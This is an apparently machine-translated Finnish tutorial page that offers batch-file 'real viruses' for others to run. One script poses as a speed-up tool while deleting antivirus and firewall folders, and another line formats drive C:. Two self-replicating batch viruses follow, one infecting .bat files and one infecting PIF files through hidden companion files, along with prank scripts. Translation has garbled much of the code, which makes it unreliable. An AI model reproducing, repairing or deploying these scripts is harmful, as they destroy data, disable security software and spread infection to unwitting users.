Sisällysluettelo:
2025 Kirjoittaja: John Day | [email protected]. Viimeksi muokattu: 2025-01-13 06:57
Huijaus: En ole vastuussa vahingoista, joita teet tietokoneellesi jonkun toisen tietokoneelle Huomautus: Kun haluat tallentaa tiedoston, tallenna se millä tahansa.bat -tiedostolla
Vaihe 1: Todelliset virukset (yksinkertaiset)
ensimmäinen: kopioi koodi ******************************************* **************@echo Tervetuloa WinECosteriin ELECTROfun@echo, jos haluat nopeuttaa tietokonettasi, toimi seuraavasti:: / progra ~ 1 / norton ~ 1 @echo nyt sinun tulee kirjoittaa y ja paina enter @pause del c: / progra ~ 1 / norton ~ 1 @pause c: dir @pause @dir c: / progra ~ 1 dir c: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra ~ 1 / zonea ~ 1 / zonealarm @echo ok nyt tietokoneesi on "TODELLA!" Nopea: poistu *********************************************** *Huomautus: tallenna tiedosto mitä haluat.bat Huomautus: mitä tahansa @echo jälkeen voidaan muuttaa (voit kirjoittaa mitä haluat) Toinen: *************** väri 02 MUOTO C: ***************
Vaihe 2: Todelliset virukset (edistyneet)
1. Tehokkain *******************@jos ei '%0 ==' jos '%_melt%==' goto meltbeg:: ---- nukke isäntä --------@echo offecho Hello World!:: ---- end dummy host ----@goto MeLTend [MeLT_2a]: MeLTbeg@echo off%_MeLT%if '%1 ==' MeLT goto MeLT %2 jos ei ole %comspec %set comspec = %_ MeLT %-komento %comspec % /e: 5000 /c %0 MeLT virset MeLTcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT = set MeLTcl = goto MeLTend: MeLTrhset _MeLT = x%0%MeLTcl%: MeLTvirset MeLTH =%0 jos ei ole olemassa%_MeLT %% temp%\ nul set temp =%tmp%jos on%temp%\ MeLT_2a goto MeLTrun%0 MeLT fnd. %path%: MeLTfndshift%_MeLT%if '%2 ==' exit MeLTset MeLT =%2 \%MeLTH%.batif ei ole olemassa%MeLT%set MeLT =%2 \%MeLTH%jos ei ole%MeLT%set MeLT = %2%MeLTH%.batif ei ole olemassa%MeLT%asetettu MeLT =%2%MeLTH%, jos ei ole olemassa%MeLT%goto MeLTfndfind "MeLT"%temp%\ MeLT_2aattrib%temp%\ MeLT_2a +h: MeLTrun%MeLTH%MeLT s…%path%: MeLTsshift%_MeLT%if '%2 ==' exit MeLTfor %% a in (%2 \*. bat%2*.bat) do call%MeLTH%MeLT inf %% agoto MeLTs: MeLTinffind / i "MeLT" nulif ei ole virhetaso 1 goto MeLTnoecho @if not '%% 0 ==' if '%% _ melt %% ==' goto meltbeg> MeLT.ttype%3 >> MeLT.techo. >> MeLT.ttype% temp %\ MeLT_2a >> MeLT.tmove MeLT.t %3> nulexit MeLT: MeLTact - salamasulatusteksti, jonka jälkeen teksti palautetaan normaaliksi 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =%MeLTC%1if%MeLTC%== 1111111111 siirry MeLTact: MeLTend *********************************** ******** 2. Tämä on virus, joka "tartuttaa" PIF -tiedostoja, joita Windows käyttää DOS -ohjelmien suorittamiseen. Se toimii luomalla piilotettuja kumppanierät, jotka sisältävät kopioita tästä, ja muuttamalla sitten PIF -tiedostoa niin, että kumppanierä suoritetaan ensin. Kun kumppani on suorittanut, se suorittaa alkuperäisen isäntäohjelman, jonka nimi on koodattu kumppaniksi. PIF-tiedostot on merkitty siten, että ne eivät tartu uudelleen. Vaikutus koskee vain PIF -tiedostoja, tartunnan saaneisiin ohjelmiin ei tehdä muutoksia. Jos haluat "parantaa", palauta alkuperäiset tiedostonimet PIFEDIT -toiminnolla ja poista sitten piilotetut tiedostot. ******************************* ***************@echo off:: isäntätiedoston nimi… aseta pifvo = LIST. COM:: silmukan lähettäjä… jos '%1 ==' PiFV siirtyi PiFV_%2:: suorita virus! set _PiFV = jos ei ole olemassa%comspec%set comspec = C: / COMMAND. COM%_PiFV %% comspec% /e: 5000 /c%0 PiFV go> nolif olemassa PiFV! del PiFV!:: suorita isäntäsarja PiFVcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call %0 PiFV hstset PiFVo = aseta PiFVcl =:: tarkista aktivointi… echo. | date | find / i "sat"> nul. PiFVif errorlevel 1 goto PiFV_endecho. | time | find "7"> nul. PiFVif errorlevel 1 goto PiFV_msgset PiFV = echocls%_PiFV %% PiFV%.%PiFV%Oli kerran Saukko nimeltä Oscer%PiFV% % Kuka väitti tietävänsä veden valmistuksen.% PiFV% "Ei enää padoja", hän sanoi, "käytä minun vettäni!"% PiFV% Mutta vanhin Otter ei ollut vaikuttunut. Pause> nul. PiFVset PiFV = goto PiFV_end: PiFV_msgecho [PiFV], tekijä WaveFuncgoto PiFV_end: PiFV_hst%PiFVo%%PiFVcl%goto PiFV_end: PiFV_goset PiFVh =%0if ei ole olemassa%PiFVh%set PiFVh =%0.batif ei ole olemassa%PiFVh%exit%% soita %0 PiFV inf %% aexit PiFV: PiFV_infset PiFVp = %3:: hanki uhrin tiedostonimi ja tartuntamerkki:: PIF -tiedostosta debugin avulla… jos PiFV! goto PiFV_1echo m 124, 162524> PiFV! echo e 100 '@set fn =' >> PiFV! echo m 524, 562108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! Echo w >> PiFV! Echo m 55E, 561108 >> PiFV! Echo e 10C 0 >> PiFV! Echo n pifv $$. Bat >> PiFV! Echo rcx >> PiFV! Echo 10 >> PiFV! Echo w >> PiFV! Echo q >> PiFV!: PiFV_1debug%PiFVp%nulcall PiFV $ set PiFVn =%fn%call PiFV $$ set PiFVi =%fn%del PiFV $ ?. bat:: pifvn = orig tiedostonimi:: pifvi = tartuntamerkki:: pifvp = pif -tiedostonimi:: pifvh = kumppanilepakkotiedosto:: ohita tartunnan saaneet tai tyhjät pifit… jos '%PiFVi%==' PiFV goto PiFV_endif '%PiFVn%==' goto PiFV_end:: älä varjota command.com (ole mukava) echo %PiFVn %| find /i "command"> nulif not errorlevel 1 goto PiFV_end:: infektoiva - luo kumppanierä…:: (seuraavat koodiliuskat poistetaan laajennuksesta) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho%PiFVn%| PiFV $> PiFV $$. Batcall PiFV $$ set PiFVb =%fn%.batdel PiFV $?. nimi hostif%PiFVo%==%PiFVb%goto PiFV_endif olemassa%PiFVb%goto PiFV_endecho @echo off>%PiFVb%echo set pifvo =%pifvn%>>%PiFVb%find "PiFV">%PiFVb%attrib%PiFVb% +h::… ja osoita PIF kumppanille 15e 'PiFV', 0> PiFV $$ echo e 124 '%PiFVb%', 0 >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debug %PiFVp %nuldel PiFV $$:: Luulen, että olemme valmiit! exit PiFV: PiFV_end:: ihmettele, kuinka monta vikaa kaikessa on? Vain yksi:: tapa selvittää… ***************************************** **********
Vaihe 3: Kepponen ja temppu
1.prank virus ******************* väri 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo* ************************* Huomautus: "Väri 02" on tehdä tekstistä vihreä2.trick (matriisikoodi) ****** **************************@echo offcolor 02: startecho %satunnainen % %satunnainen % %satunnainen % %satunnainen % %satunnainen % %satunnainen % % satunnainen%% satunnainen%% satunnainen%% satunnainen%% satunnainen%% satunnainen%% satunnainen%% satunnainen% goto start ************************* *******************